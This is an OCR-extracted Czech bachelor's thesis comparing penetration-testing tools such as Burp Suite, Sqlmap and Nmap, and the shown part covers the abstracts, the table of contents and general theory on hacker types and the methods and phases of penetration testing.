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Komparace nastroji pro penetrac¢ni testovani

Abstrakt

Tato prace se zabyva porovnanim nastroju pro penetracni testovani webti a webovych
aplikaci a problematikou kybernetické bezpecnosti.

Dale je prace zaméfena na stanoveni vhodnych kritérii na zakladé, kterych lze urcit
a vyhodnotit kvalitu nastroje.

Pro demonstraci byl zvolen emulator VirtualBox, ve kterém je spustén operacni
systém Kali Linux. Zranitelnd webova aplikace je DVWA.

Pro testovani jsou pouzity nastroje Burp Suite, Sqlmap, Nmap, John the Ripper,

Wireshark a pro samotné porovnani je pouzita metoda komparativni.

Klicova slova: penetracni testovani, kybernetické utoky, kyberneticka bezpe¢nost, hacking,

white hacker, nastroje pro penetracni testovani, kritéria.



Comparison of Penetration Testing Tools
Abstract

This thesis deals with the comparison of tools for penetration testing of websites
and web applications and the issue of cyber security.

Furthermore, the work is focused on the determination of appropriate criteria on the
basis of which the quality of the instrument can be determined and evaluated.

For the demonstration, the VirtualBox emulator was chosen to run the Kali Linux
operating system. The vulnerable web application is DVWA.

The tools used for testing are Burp Suite, Sqlmap, Nmap, John the Ripper,

Wireshark and for the actual comparison, the comparative method is used.

Keywords: penetration testing, cyber-attacks, cyber security, hacking, white hacker,

penetration testing tools, criteria.



ODSAN c.ceeeeeecrernncraesnnsanssssssssssnssssssssssssssessssssessssssassssssasssassssssassssessessassssessssssssssssasssasssasses 9
1 Uvod 12
2 Cil prace a MetOdiKa .....ceueceerecseenseesenseessansanessesseessensessaecsassssesssssssssnssasssssssssssssssses 13
2.1 Gl PIACE c.veeee ettt r e 13
2.2 MELOAIKA ..ottt s s r e 13

3 Teoreticka VYChOdiSKa ...cceeieenenruenuninennnsencsensaesensaecnesanessssssssanssassssssassssssssssssssass 14
3.1 HACKING 1ottt s 14
311 WHIE NAt.eeiiiceieceieee et 14
3.1.2  BIACK RAL .ouiiieiiieceee e 16

3. 1.3 GIeY DAt ..cooiieiiiiiciiiiiic e 17

3.2 PenetraCni teSTOVANT ....cc.eevueeeieeiiiriie ettt 19
32.1  Déleni penetraCnich testll......cevevueriireruirieeiiiciiciiie e 20
3.2.2  Metodika penetraCniho teStOVANI .......ccccccueiuiiiiiiiiiiiiiiiie e 22
3.2.3  Faze penetraniho teStOVANI ........ccceivuiiuiiiiiiiiiieciei e 23
3.2.4  Typy penetraCnich teStl......ccoeveveiviiiiiiiiiiiiiiiiien e 26

3.3 Kybernetické GtoKY ........cccooireriniiiiiiiiiiciiiecicie e 28
3.3.1  CraCKin@..oeooueeoeieiie ettt s 28
3.3.2  PRESHING covoiiieiiieeeie et 28
3.3.3  PRAIMING ..ciiiiiiieeiie ettt 29
3314 RACKEIEEIING .eovveeiieeniiiiieeeicie ettt ettt et ea e e e s s 29
3.3.5  MAIWALE ..eooniiiieieee et 29
3.3.6  SQL INJECHOMN ...ttt sttt ae s 30
3.3.7  Man-in-the-middle .........cceoueriiiiiiniienicciecic 30
3.3.8  Odepieni SIUZDY ..couevueeiiniiiiiiiiiiiiici 30

3.4  Kyberneticka bezpeCnost ........cccccccueviiiiiiiiiiiiiiiiinicie e 31
3.4.1  Jak se chranit proti kybernetickym Gtokiim? ..........ccccooveiiiiiiinincnnnne. 32
3.4.2  Jak chranit firmu proti kybernetickym Gtokim?..........ccccoevviinincnrnnne. 33

3.5 Nastroje na penetracni teStOVANT .........ccceviiviiiiiiiiiiieiie et 35
351 BUIP SUIE .ottt e 35
3.5.2  AITCTACK-NIEZ oottt e 35
3.5.3  THOC HYAIa ..cooiiiiiiiieieeeeeecect ettt s 35
3.5.4  JOhn the RIPPer ...c..coiiiiiiiiiiiiiiiiieiiicic et 36
3.5.5 UINIMAP e e b 36
3.5.6  WIreShark .....cocoooiiiiiiiiiicccccci 36
3.5.7  NIKEO 1ottt ettt st s 36



3.6 Kritéria KOMPArACe .....cceevueeuveriieniiniiiecieeiie ettt s 37

3.6.1  Cena @liCENCE ...oeeiuiieeiiieeiiie ettt 37
3.6.2  SPOIEhIIVOSL. ....eeiiiiiiiiiie ettt 37
3.6.3 €8Sttt 37
3.6.4  DOKUMENEACE ...oeeeuvrieeiiiieeiieieeiieee et siie et e eeieee st eestaeessaae s saaeessaae e naae e 37
3.6.5  Podpora a udrZoVanost ........c..cecueeeerierieniieiieeieieiie it 37
3.0.6 AULOMALIZACE ...vveeeeieeiiieeieieeitee ettt ee et e sieee st e saas e saaeeesaaeseeaaeee e 38
3.6.7  VYSTUD ettt e 38
3.6.8  Piehled vSech KITtErIT ...eevueeeiieiiiiieee et 39

4 Vlastni prace .40
4.1 Testovaci ProStredi ....ccueeueereerrieniecieciietic et 40
o O R VA ¥ €1 721 1 370 ) O OO 40
4.1.2  Kall LINUX oottt st saaesa e s en 40
413  DVWA ettt et ettt et st s sa e 41

4.2 PrubEh tESTOVANT ....ecuviiiiieitie ettt s s 44
4.2. 1 BUIP SUILE coeeiiiieciiece ettt e 44
4.2.2  Vysledky nastroje Burb Suite .........ccccooiviiiiiniiiiii 48
4.2.3  SQIMAP weiiiieiie e 48
424  Vysledky nastroje SQImap ......cccccvviiiniiiiiiiiiiiiii 51
4.2.5 INIIAP ..ttt et s st ea e e er e b e 51
4.2.6  Vysledky nastroje .NMap......ccccceeeeiiiiiiiiiiiiiiiiiiiiic e 52
4277  JOhN the RIPPET ..cc.ueiiiiiiiiiciiicieiiieiie et 53
4.2.8  Vysledky nastroje John the Ripper .......cccccocoviiiiiiiiiiiiniii, 54
4.2.9  WITEShATK ....evvieiie e 55
4.2.10  Vysledky nastroje Wireshark ............ccccoouiiiiiiniiininniiiie e, 56

5 VysledKy a diSKUSE ..cccceereiruesnnsannsenssenseessaessanssssssesssessessassssssassssssasssssssssssssssssssssasssss 57
5.1  Souhrnné vyhodnoceni dle Kategorii........ccccoevevcveviiiiiiiiiiniiiiiiiiiiecieceee 57
5.1.1 CeNA A LICEICE .vvveeeiieieiie et 57
5.1.2  SPOLEhIIVOS.....eiiiiiiiieiie ettt 57
513 €8Sttt 57
5.1.4  DOKUMENTACE ....uvvvveeeiiiieeeeiie ettt et san e 57
5.1.5  Podpora a udrZOVanost ........c.ccecueeueriieieniieieeiieieiie it 57
S5.106 VYSTUD tttteiecieeiteett ettt sttt 58

5.2 VYhOANOCENT ..ueeuiiiiiieiiitciieececiiee sttt et 59

0 ZLAVEY cuveeercreenacsenssssssssssssssssssssssosssssssssssssesssssssesssssssssassassssssssssssssasssssssasssessassasenassaneses 60
7 Seznam pouzitych zdroju 61

10



Seznam obrazku

Obrazek 1: Rozliseni dle cilt a schopnosti, (Rafter, 2021) .......cccecvviiiiiiniiiniiinieiie 18
Obrazek 2: Plocha Kali linux, zdroj vIastii.........ccceecuevieniiiiiiiiiiiniiiiinniee e 41
Obrazek 3: Kali - nastaveni uzivatelského jména a hesla, zdroj vlastni...........ccccoeeeinie 42
Obrazek 4: DVWA - prvni zapnuti, zdroj vlastii........cccccoeeviiiiiiiniiiiniieie e 43
Obrazek 5: DVWA - dalsi zapnuti, zdroj vIastni.........cocoeeviviiininiiiiicie 43
Obrazek 6: DVWA - nastaveni urovné zabezpeceni, zdroj vlastni ..........cccceeeevvrvcniennnnn. 44
Obrazek 7: Burp Suite schéma, (Portswigger, 2021).......c.ccoouiiiiiiiiiiniieiciee e 45
Obrazek 8: Burp Suite, Zdroj vIastni........cccocevieiiiiiiiiiniiiicie e 46
Obrazek 9: Burp Suite proxy, zdroj VIastni ........ccceceeiiiiniiiiii 47
Obrazek 10: Burp Suite vysledek, zdroj v1astni .........cccooeeiiiiiiiiiiiie 47
Obrazek 11: Sqlmap tables, zdroj VIastni ..........cccoeeiiiiiiiiiniiiiii e 49
Obrazek 12: Sqlmap users, zdroj VIAStni .........ccecvvuiiieiniiiinieiei e 50
Obrazek 13: Sqlmap cracked passwords, zdroj vIastni ..o 50
Obrazek 14: Nmap ZranitelNOSt «..c..cceeveeueieuiiiiiieiiiiee et 52
Obrazek 15: Vysledek zranitelnosti........cco.eceeviviiiiiiiiiiniiinieiiciee et 52
Obrazek 16: Zjisténi hashti hesel, zdroj v1astni .........ccooveiiiiiii 54
Obrazek 17: Cracknuta hesla, zdroj v1astni .........ccceceeieiiiiiiiiiiiiiiiiciece e 54
ODbrazek 18: WITESHAIK ........ovvieeeeieeie ettt saa e s s s 55
Obrazek 19: Wireshark vysledek, zdroj v1astni.........cccoceviiiiiiininiiiiiie 56

Seznam tabulek

Tabulka 1: Pfehled vEeCh KITterii ....ccueeuveriieieeeieiieeciicieciccict e 39
Tabulka 2: Vysledky nastroje Burp SUIte.........cccooiiiiiiiiiiiii 48
Tabulka 3: Vysledky nastroje SqImap ........ccccceeeiiiininiiiiiniieee e 51
Tabulka 4: Vysledky nastroje NMap .......ccceeouiiiiiimiinineneienici e 53
Tabulka 5: Vysledky nastroje John the RIpper.........cccoooieiiiiiiiiniie 55
Tabulka 6: Vysledky nastroje Wireshark...........cccooueviiiiiiiniiiee 56
Tabulka 7: Vyhodnoceni NASrOJUl........eueeeveueiriiuiiiiiiiiiiiee et 59

11



1 Uvod

V teoretické ¢asti jsou definovany pojmy, co je to hacking, a to z pohledu white hat,
black hat a také gray hat hackera. Déle je prace zamérena na penetracni testovani, na
jeho déleni, metody, faze a typy.

V dal§i cCasti se prace zaobira kybernetickou bezpecCnosti, kde je predevsim
rozvedeno, jak se chranit proti kybernetickym Gtokiim z pohledu bézného uzivatele a
jak ochranit firmy proti t€émto utoktim tohoto typu.

Dale v casti o kybernetickych utocich jsou rozvedeny nejbéznéjsi utoky, se kterymi
je mozné se setkat a také zaméfeni na Utoky, které se pouzivaji pfi samotném testovani.

Nasleduje ¢ast o pouzitych nastrojich pro penetracni testovani, které jsou pak dale
pouzity v praktické ¢asti této prace.

A jako posledni ¢ast teoretické Casti je popis a stanoveni hodnoticich kritérii pro
komparaci nastroju.

V praktické Casti je rozvedena pfiprava na samotné testovani, ktera je nasledovana
samotnymi testy, a to jedny z nejvice popularnimi nastroji mezi uzivateli, konkrétné
Burp Suite, Sqlmap, Nmap. John the Ripper a Wireshark.

Prace je zakonCena komparaci vSech nastroji a urCeni, ktery ze zminiovanych je

nejlepsi dle predem stanovenych kritérii.
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2 Cil prace a metodika

2.1

2.2

Cil prace

Cilem bakalafské prace je provedeni a vyhodnoceni etického hackingu za pouziti
nejpouzivanéjSich nastroji pro penetraCni testovani a porovnani, ktery z téchto
nastroju je nejvhodnéjsi dle predem danych kritérii. Dale se prace zaméfuje na mozné
kybernetické utoky, které 1ze t€émito nastroji provést a v posledni fadé na ochranu proti

témto utokim anebo moznostem, jak se témto utoktim branit.

Metodika

Hlavni metodou v teoretické cCasti, je reserSe informacnich zdrojii a k definovani
zakladnich pojml je pouzita metoda deskripce. Hlavnim zdrojem informaci jsou
védecké, odborné Clanky a knihy zaméfené na toto téma. Teoretickd Cast je také
zaméfena na stanoveni hodnoticich kritérii nastroji pro penetracni testovani.
V praktické Casti je proveden vybér a definovany vlastnosti samotnych nastroji pro
penetracni testovani. Je provedeno méfeni a porovnavani nejpouzivanéjSich nastroju
na penetracni testovani, jejich nasledna analyza a vybér vhodného feseni pro pouziti

v oblasti testovani zabezpeCeni online systému.
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3 Teoreticka vychodiska

3.1 Hacking

Hacking je ¢innost, jejiz cilem je kompromitovat digitalni zafizeni, jako jsou pocitace, chytré
telefony, tablety, a dokonce i celé sité za uCelem ziskat, zménit data a tomu podobné Cinnosti,
ke kterym hacker nema pfistup. A prestoze hacking nemusi byt vzdy veden se Skodlivymi
umysly, v dne$ni dobé jej veétSina odkazii na hacking a hackery charakterizuje jako
nezakonnou c¢innost kyberzloCinci - motivovanou finanénim ziskem, protestem,
shromazd’'ovanim informaci. (Kovalcik, 2020) (Malwarebytes, 2021)

Samotné hackovani je nelegélni a trestné. V pripadé jeho provozovani muze dojit i k odnéti
svobody na nékolik let. Po celém svété se nachazi velké mnozstvi hackert, ktefi jsou schopni
docilit n&jakych utoku. Proto existuji etiCti hackefi nebo také jak se jim fika “pentestefi“. Ti
pouzivaji stejné metody a nastroje jako hackefi, s vy jimkou ze maji povoleni od majitele
systému, do kterého se pokousi dostat a tim odhalit chyby, které mohou uskodit systému ve
smyslu ztraty nebo zmény dat. Z tohoto divodu je tato ¢innost legalni, a proto je eticky
hacking a penetracni testovani spojeno s hackingem. (Kovalc¢ik, 2020) (Malwarebytes,
2021)

Existuje nekolik typl hackerti, ale pro ucely této prace budou stacit 3 zakladni, a to White
hat, Black hat a Grey hat. Tyto terminy jsou odvozeny od barevného kddovani, které se
objevovalo ve westernech z 50. let, kde padousi nosili ¢erné klobouky a ti hodni bilé nebo

jiné svétlé barvy. (Kaspersky, 2021)

3.1.1 White hat

Tento typ hackera je ozna¢ovany jako “eticky hacker” anebo také jako “dobry hacker”. Jedna
se profesionala s odbornymi znalostmi v kybernetické bezpecnosti. Hlavnim cilem téchto
hackert je pomoci odhalovat bezpe¢nostni nedostatky s ucelem zamezit dal§im utokam, tedy
chranit firmu, systém, spolecnost a dalsi pred nebezpeCnymi hackery, ktefi jsou popsani
v nasledujicim typu pod nazvem Black Hat. Vyuziva své schopnosti k poSkozeni organizace
nebo systému, ale v dobrém slova smyslu. Jak bylo jiz dfive zminéno toto jsou eticti hackefi,
ktefi maji povoleni k hackovani systému. Casto jsou najimany firmami anebo pracuji pro
vladu v zajmu bezpecnosti. Toto hackovani se provadi za ucelem otestovani urovné
zabezpecCeni, identifikaci slabin a jejich nasledné opraveni. Provadéji zatézové testy

informacnich systéma, dale také provadeji hloubkové skenovani siti na malware a pokouseji
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se nabourat do informacnich systémi metodami, které by pouzili black hat hackefi. A
dokonce se snazi oklamat zamé&stnance, aby klikali na odkazy, které¢ vedou k napadeni
malwarem. (Sarangam, 2021) (Kaspersky.com, 2021) (Rafter, 2021)

White hat hackefi jsou tak jednim z divodd, pro¢ maji velké organizace obvykle méné
prostoji a méné problému se svymi webovymi strankami. VétSina hackera vi, ze proniknout
do systému spravovanych velkymi spole¢nostmi bude t€zsi nez do systému provozovanych
malymi firmami, které pravdépodobné nemaji prostiedky na to, aby provérily vSechny
mozné bezpecnostni uniky. (Sarangam, 2021) (Kaspersky.com, 2021) (Rafter, 2021)
Podskupinou etickych hackert jsou penetracni testefi neboli "pentesteti”, ktefi se zaméfuji
zejména na vyhledavani zranitelnosti a hodnoceni rizik v systémech. (Sobers, 2020)

Z tohoto diivodu je pro kazdou online firmu velmi dulezité, aby zajistila silna preventivni
opatieni instalaci kvalitniho zabezpeCeni proti malwaru, nastroju pro odstranéni spywaru a
softwarové obrany firewallu. White hat hacker pracuje dle pravidel a pfedpist stanovenych

vladou. (Sarangam, 2021) (Kaspersky.com, 2021) (Rafter, 2021)

3.1.1.1 Vlivni hackefi typu white hat

Jak jiz bylo zminéno, white hat hackefi vyuzivaji systémy, aby vylepsili anebo zabranili
black hat nebo jinym hackerdm do nich vniknout. NiZe jsou uvedeni néktefi vlivni white hat

hackefi. (Sobers, 2020)

Tim Berners-Lee

Berners-Lee, jedno z nejznaméjsich jmen v oblasti informatiky, je zakladatelem World Wide
Webu. Dnes pusobi jako feditel konsorcia World Wide Web Consortium (W3C), které
dohlizi na vyvoj webu. (Sobers, 2020)

Greg Hoglund
Odbornik na pocitacovou forenziku Hoglund je znamy predevsim svou praci a vyzkumnymi
piispévky v oblasti detekce malwaru, rootkitti a hackovani online her. V minulosti pracoval

pro americkou vladu a zpravodajskou komunitu. (Sobers, 2020)

Richard M. Stallman
Stallman je zakladatelem projektu GNU, projektu svobodného softwaru, ktery prosazuje

svobodu v oblasti pouzivani poc€itaci, a je ukazkovym piikladem hackera "spraviiaka".
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Stallman zalozil hnuti svobodného softwaru v poloving 80. let 20. stoleti s mySlenkou, ze

pocitaCe maji podporovat spolupraci, nikoli ji branit. (Sobers, 2020)

Dan Kaminsky

Kaminsky je znadmou osobnosti ve svété kybernetické bezpecnosti, je hlavnim védeckym
pracovnikem spole¢nosti White Ops, ktera se zabyva detekci Skodlivého softwaru
prostfednictvim JavaScriptu. Nejvice se proslavil objevem zasadniho toku v protokolu DNS
(Domain Name System), ktery by hackerim umoznil provadét rozsahlé utoky typu cache

poisoning. (Sobers, 2020)

Jeff Moss

Eticky hacker Jeff Moss byl beéhem vlady Baracka Obamy ¢lenem Poradni rady pro vnitini
bezpecnost USA a spolu predsedal pracovni skupin€ rady pro kybernetické dovednosti.
Zalozil také hackerské konference Black Hat a DEFCON a je komisafem v Globalni komisi

pro stabilitu kyberprostoru. (Sobers, 2020)

3.1.2 Black hat

Black hat hacker je hackerem opac¢ného typu nez white hat hacker. Tito hackefi jsou
povazovani za zloCince, kdy vSichni maji zlé umysly. Tito zlocinci se snazi nabouravat do
pocitacovych siti, vypoustét skodlivy software, ktery muze poskodit nebo nicit soubory,
drzet pocitaCe jako rukojmi a vyuzivat je k dalsi ¢innosti, krast hesla, Cisla kreditnich karet
a dalsi osobni udaje, které jdou dale vyuzit k pfipadnému vydirani a podobné. (Kaspersky,
2021) (Rafter, 2021)

Tito hackefi pronikaji do systému bez jakéhokoliv povoleni. Dale je tato skupina velmi
ovlivnéna svymi znalostmi neboli znalostmi utocniki, protoze se zde nachazi Gplni amatéfi,
ale 1 profesionalové. VétSinou pracuji sami, ale najdou se zde i taci, ktefi spolupracuji
s organizacemi organizovaného zlo¢inu. (Sarangam, 2021) (Kaspersky, 2021) (Rafter, 2021)
Hlavnim cilem této skupiny je financni obnos. Zatim co samotafi se zamétuji na bankovni
udaje, finan¢ni prostredky anebo citlivé informace, kterymi dale mohou vymahat danou
osobu, tak organizace hackert, které mohou byt najati jednou organizaci k poskozeni té
druhé nebo k poskozeni statu a jinych a pfipraveni je tak danou o zisk, pfipadné cenné udaje

a mnoho dalsich. (Sarangam, 2021) (Kaspersky, 2021) (Rafter, 2021)
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Problém této skupiny zasahuje do globalnich méfitek. Problémy pro organy ¢inné v trestnim
fizeni spoCivaji v tom, ze hackefi Casto zanechavaji malo dikazd, pouzivaji pocitaCe nic
netusicich obéti a prekracuji hranice vice jurisdikci. Prestoze se uradim nékdy podafi
odstavit hackersky web v jedné zemi, stejna operace muze mit vice uzli v mnoha zemich.
(Kaspersky, 2021) (Rafter, 2021)

Obecné lze fict, ze hackefi se snazi proniknout do pocitact a siti z nékterého ze Ctyt davodu.

1. Jde o financni zisk z trestné ¢innosti, coz znamena kradez Cisel kreditnich karet nebo
podvody v bankovnich systémech.

2. Dale je pro nékteré hackery motivaci ziskani kreditu na ulici a vylepSeni si povésti v
ramci hackerské subkultury, protoze na webovych strankach, které ponici,
zanechavaji své stopy jako dikaz, ze se jim hackersky utok podafil.

3. Pak je tu firemni Spionaz, kdy se hackefi jedné spolecnosti snazi ukrast informace o
produktech a sluzbach konkurence, aby ziskali vyhodu na trhu.

4. A jako posledni véc je kdy se celé staty se zapojuji do statem sponzorovanych
hackerskych utokt s cilem ukrast obchodni anebo narodni informace, destabilizovat
infrastrukturu protivnika nebo dokonce zasit v cilové zemi neshody a zmatek.

(Malwarebytes, 2021)

3.1.3 Grey hat

Grey hat hacker je nékdo, kdo mize zneuzit moralni normy nebo standardy, avSak bez
zlovolného ucelu. Pohybuji na pomezi mezi white hat hackery, ktefi pracuji ve prospéch
téch, ktefi udrzuji bezpecné ramce, a black hat hackery, ktefi jednaji pomstychtivé a
zneuzivaji slabin v ramcich. Tato skupina hackert spada mezi oba predeslé typy. Zde se bere
v uvaze zamer hackera, jestli jsou dobré Ci §patné. (Sarangam, 2021) (wallarm.com, 2021)
Mohou se podilet na Cinnostech, které se zdaji byt ne uplné za hranou, ale ¢asto pracuji ve
prospéch vSech. Nebo se jednd o hackery, kteti radi experimentuje se systémy, hledaji
mezery a obecné je bavi prolamovat obranu a hackovat. (Sarangam, 2021) (wallarm.com,
2021) (Rafter, 2021)

Nékdy kdyz se jim podafi proniknout do systému a siti bez povoleni (stejné jako black hat).
Ale misto toho, aby pachali néco v rozporu se zakonem, mohou svij objev oznamit
vlastnikovi cile a nabidnout opravu zranitelnosti za maly poplatek. (Sarangam, 2021)

(wallarm.com, 2021) (Malwarebytes, 2021)
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Obrazek 1: Rozliseni dle cilii a schopnosti, (Rafter, 2021)
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3.2 Penetracni testovani

Penetracni testovani neboli také pentesting je legalni a autorizovany pokus o nalezeni a
uspésné zneuziti pocitaCovych systémi za ucelem zvyseni jejich bezpecnosti. Zahrnuje
simulaci skute¢nych ttokt s cilem vyhodnotit riziko spojené s potencialnim naruSenim
bezpecnosti. Tento proces dale zahrnuje sondovani zranitelnosti, které mohou byt v
operacnich systémech, sluzbach a aplikacich, nespravnych konfiguracich nebo rizikovém
chovani koncovych uzivateli. Dale také ttoky, které maji prokazat, ze zranitelnosti jsou
skutec¢né. (Engebretson, 2011) (Weidman, 2014) (HelpSystems, 2021)

Rozsah pentestii se bude u jednotlivych klienta lisit. Nekteti klienti budou mit vynikajici
zabezpeCeni, zatimco jini budou mit nebo maji zranitelnosti, které by mohly tGtocnikiim
umoznit prolomit perimetr a ziskat pfistup k internim systémim. Nékdy muze byt zapotiebi
aby se pentester choval jako Insider neboli zaméstnanec se zlymi umysly anebo také jako
uto¢nik, ktery uz davno pronikl do systému. (Weidman, 2014) (Engebretson, 2011)
Penetracni testovani se obvykle provadi pomoci manualnich nebo automatizovanych
technologii za ucelem systematického ohrozeni servert, koncovych bodu, webovych
aplikaci, bezdratovych siti, sitovych zafizeni, mobilnich zafizeni a dal§ich potencidlnich
mist ohrozeni. (HelpSystems, 2021)

Kazdé penetracni testovani by mélo koncit s konkrétnim doporuceni pro feseni problém,
které se odhalily béhem testu. Obvykle se tyto informace o vSech bezpeCnostnich
zranitelnostech uspés$né€ zneuzitych prostiednictvim penetracnich testt predkladaji spraveim
IT a sitovych systémut. (Engebretson, 2011) (HelpSystems, 2021)

Jinymi slovy se penetracni testovani da popsat jako pokus zjistit, zda se n€kdo muze vloupat
tteba do domu, tim ze to provedete sami. Celkové se tento proces pouziva k zabezpeceni

pocitacu a siti proti budoucim ttokim. (Weidman, 2014) (HelpSystems, 2021)

Penetracni testovani je také zndmo pod témito nazvy:
e Pentesting
e PT
e Hacking
e Ethical hacking
e White hat hacking (Engebretson, 2011)
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3.2.1

Déleni penetracnich testi

Podle toho, kde se utoc¢nik nachazi:

1)

2)

Externi

Tyto testy jsou provadény z pozice utocnika, ktery se nachéazi ve vnéjsi siti neboli na
internetu. Béhem externiho penetracniho testu se tester pokousi ziskat pfistup do
interni sité s vyuzitim zranitelnosti objevenych na externich prostfedcich. (Integra,
2021) (Redlegg Blog, 2019)

Piipadné se tester muze pokusit ziskat pfistup k privilegovanym datim
prostfednictvim externich aktiv, jako jsou e-mail, webové stranky a sdilené soubory.
(Redlegg Blog, 2019)

Béhem testu tester provadi prizkum vnitinich prostfedka a shromazd'uje informace
o vSech prostredcich v rozsahu. Tyto informace zahrnuji oteviené porty, zranitelnosti
a obecné informace o uzivatelich. Jakmile je perimetr Uspé€$né prolomen, bylo
dosazeno cill externiho penetracniho testu a tester tak muze pfejit k internimu
penetracnimu testu. (Redlegg Blog, 2019)

Interni

Je provadeéno z vnitini sit€. Tedy napiiklad simuluji Utoky zevnitf firmy. Pfi tomto
testu je nutné si uvédomit ze Gtocnik nemusi fyzicky utocit. MiiZze nejprve prolomit
vnéj$i ochranu jako firewall, firemni intranet emailovy server atd. (Integra, 2021)
Béhem interniho penetra¢niho testu, tester bud vyuzije zneuzitou schranku z
externiho penetrac¢niho testu, anebo pouzije testovaci schranku ¢i notebook uvnitt
sité k provedeni hodnoceni. Jejich pouziti je preferovanou metodou, protoze se ¢asto
jedna o stabiln€jsi zplsob testovani nez spousténi nastroji prostiednictvim
zneuzitého externiho prostfedku. (Redlegg Blog, 2019)

Z tohoto pocatecCniho predmosti je zahajen interni priazkum a utoky. I kdyz Spatné
zabezpeCena kontrola domény muze vést k uplné kontrole sité, vétsina testl vyzaduje
k dosazeni cili testovani vice cest utoku. Jakmile je dosazeno pfistupu spravce
domény nebo jakmile utoCnik ziskd kontrolu nad nejcennéj§imi informacemi
organizace, je test zpravidla ukoncen. Tato metoda Casto zahrnuje zneuziti méné
dulezitych systémua a nasledné vyuziti informaci zjisténych v téchto systémech k

utoku na dilezité&jsi systémy v siti. (Redlegg Blog, 2019)

20



Podle zptisobu provedeni:

1) Manualni testy

Manualni testy, jak nazev napovida jsou testerem vykonavany manualné.

Mezi vyhodami lze klasifikovat moznost vytvorit sofistikované procedury a testy
na miru pro specifické podminky, coz tfeba zrovna automatické testy nekdy
nedokazou. Dalsi velkou vyhodou manualnich testl je, Ze je provadi ¢lovék a ten
umi popsat, co, jak a pro¢ testuje. Vysledky je schopen interpretovat i
nezainteresovanym osobam, které nemaji o dané oblasti potfebné znalosti (top
management, vedeni atd.). (Selecky, 2012)

Za nevyhody je mozné povazovat Casovou a znalostni narocnost. Vzhledem k
téméef neomezenym moznostem, jak napriklad vytvorit webovou aplikaci, jsou
nezbytné rozsahlé znalosti testované oblasti (HTML, SQL, JavaScript aj.).
(Selecky, 2012)

2) Automatizované testy

Automatizované testy maji oproti manualnim vyhody v rychlosti, moznostech,
rozsifitelnosti podle vlastnich potieb a v relativné jednoduché verifikovatelnosti
a reprodukovatelnosti. (Selecky, 2012)

Dalsi vyhodou je ze nastroje byly vytvoreny profesionaly, ktefi v dané oblasti
pracuji. (Selecky, 2012)

Mezi nevyhody je mozné zaradit neschopnost prezentovat vysledky v uzivatelsky
privétivé forme ¢i blize vysvétlit podrobnosti k danému problému. Pro spravnou
interpretaci jsou opét nutné znalosti o pouzité aplikaci a testované oblasti. Dalsi
nevyhodou je také nemoznost testovat nékteré typy zranitelnych mist. (Selecky,

2012)

3) Semiautomatické testy

Posledni tieti zptisob provedeni jsou semiautomatické testy. Je to kombinace
automatickych i manualnich testi nebo také kompromis mezi obéma testy.

(Selecky, 2012)
Je zde snaha o maximalni vyuziti vyhod obou testl. (Selecky, 2012)
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3.2.2 Metodika penetracniho testovani

1) Black-Box testing

Objednavatel v tomto pripadé neposkytne zadné informace nebo informace ve
velmi malém mnozstvi. Tim padem testovani simuluje utoc¢nika bez jakychkoliv
znalosti. (Selecky, 2012)

Tento piipad, ale pfindsi i vyhodu, a to je vérna simulace uto¢nika. Simuluje
vngj$i pristup utoCnika, ale nikoliv vnitini infrastrukturu cile. Proto se jedna o
nejpouzivanéj§i metodu testovani. (Selecky, 2012)

Funkcionalita pro testera je takzvanou Cernou skfirikou (anglicky black-box).
(Comguard, 2021)

Nevyhoda je pak takova Ze je vyssi pravdépodobnost nenalezeni nékterého z cilt

testovani. (Comguard, 2021)

2) White-Box testing

Zde objednavatel poskytne dostatek informaci a podkladi, které jsou béhem
testovani pouzity jako zdroj informaci o cilech. (Comguard, 2021)

Zaroven tyto podklady mohou slouzit k oponentufe pouzité topologie
z bezpe¢ného pohledu. (Selecky, 2012)

Hlavni vyhodou je, Ze znalost vSech informaci a podkladi jako napiiklad kodu
nebo infrastruktury sité, umozni cely test zvladnout béhem mnohem kratsi doby.
(Selecky, 2012) (Comguard, 2021)

Nevyhodou v pripadé aplikaci je, ze tester musi byt znaly pouzitého
programovaciho jazyka, coz vede k vétsi cen¢ a vyssi kvalifikaci.

(Selecky, 2012) (Comguard, 2021)

3) Grey-Box testing

Tato metoda je kombinaci obou ptfedchozich, kde se snazi vyuzit obou vyhod

vyse uvedenych testd. (Selecky, 2012) (Comguard, 2021)
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323

Faze penetracniho testovani

Penetracni testovani se déli do nékolika fazi, které jsou rozhodujici pro uspésné naplanovani

a provedeni penetracniho testu:

1. Shromazd’ovani informaci
Modelovani hrozeb
Analyza zranitelnosti
Exploitace

Po-exploitace

A

Vytvoreni zpravy (Weidman, 2014)

3.2.3.1 Shromazd’ ovani informaci”

Pred kazdym testovanim je potieba shromazdit ur¢ité mnozstvi informaci. A pokud se

testovani provadi s n¢jakym klientem je potteba pifedbézna komunikace. Rozhoduyje se jaka

metodika bude pouzita (black-box, white-box, grey-box), cilem je ziskat co nejvic

informacich je mozné. (Weidman, 2014)

Mezi bézné techniky shromazd’ovani informaci patfi napi:

Dotazy ve vyhledavaci

Vyhledavani nazva domén

Socialni inzenyrstvi

Danové zaznamy

Internet footprinting (emailové adresy, uzivatelska jména, socialni sité a dalsi
Interni footprinting - provéfovani pomoci pingu, skenovani portli, reverzni DNS,
sniffing paketa.

Dumpster Diving

Tailgating (ciphersec, 2020)

3.2.3.2 Modelovani hrozeb

Na zaklad¢ ziskanych znalosti z prechozi faze, 1ze prejit k modelovani hrozeb. To spociva

v tom, Ze se tester snazi uvazovat jako uto¢nik a vytvaii plany utokt podle predem ziskanych

informaci, kdy tyto informace jsou pak pouzity pro zpusob utoku béhem penetra¢niho testu.

(Weidman, 2014) (ciphersec, 2020)
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3.2.3.3 Analyza zranitelnosti

V této fazi se zacinaji aktivné odhalovat zranitelnosti, aby se zjistilo, jakym zptsobem
mohou byt jejich strategie zneuzity. Neuspésné exploity mohou zptisobit zhrouceni sluzeb,
spustit vystrahy pii detekci naruseni a jinak znicit Sance na uspéch. (Weidman, 2014)
Béhem této faze se Casto spoustéji skenery zranitelnosti, které vyuzivaji databaze
zranitelnosti a fadu aktivnich kontrol k tomu, aby co nejlépe odhadli, které zranitelnosti jsou
v systému klienta pfitomny. I prestoze jsou skenery zranitelnosti mocnymi nastroji, nemohou
plné nahradit kritické mySleni, takze se provadi také rucni analyza a ovéfuji se vysledky i v
této fazi. (Weidman, 2014)
Mezi nejcast&jsi oblasti, které pentester mapuje a identifikuje, patii napf:

e Obchodni aktiva - identifikace a kategorizace aktiv s vysokou hodnotou

e Udaje o zamé&stnancich

o Udaje o zakaznicich

e Technicka data

e Hrozby - identifikace a kategorizace internich a externich hrozeb.

e Interni hrozby - vedeni, zaméstnanci, dodavatelé atd.

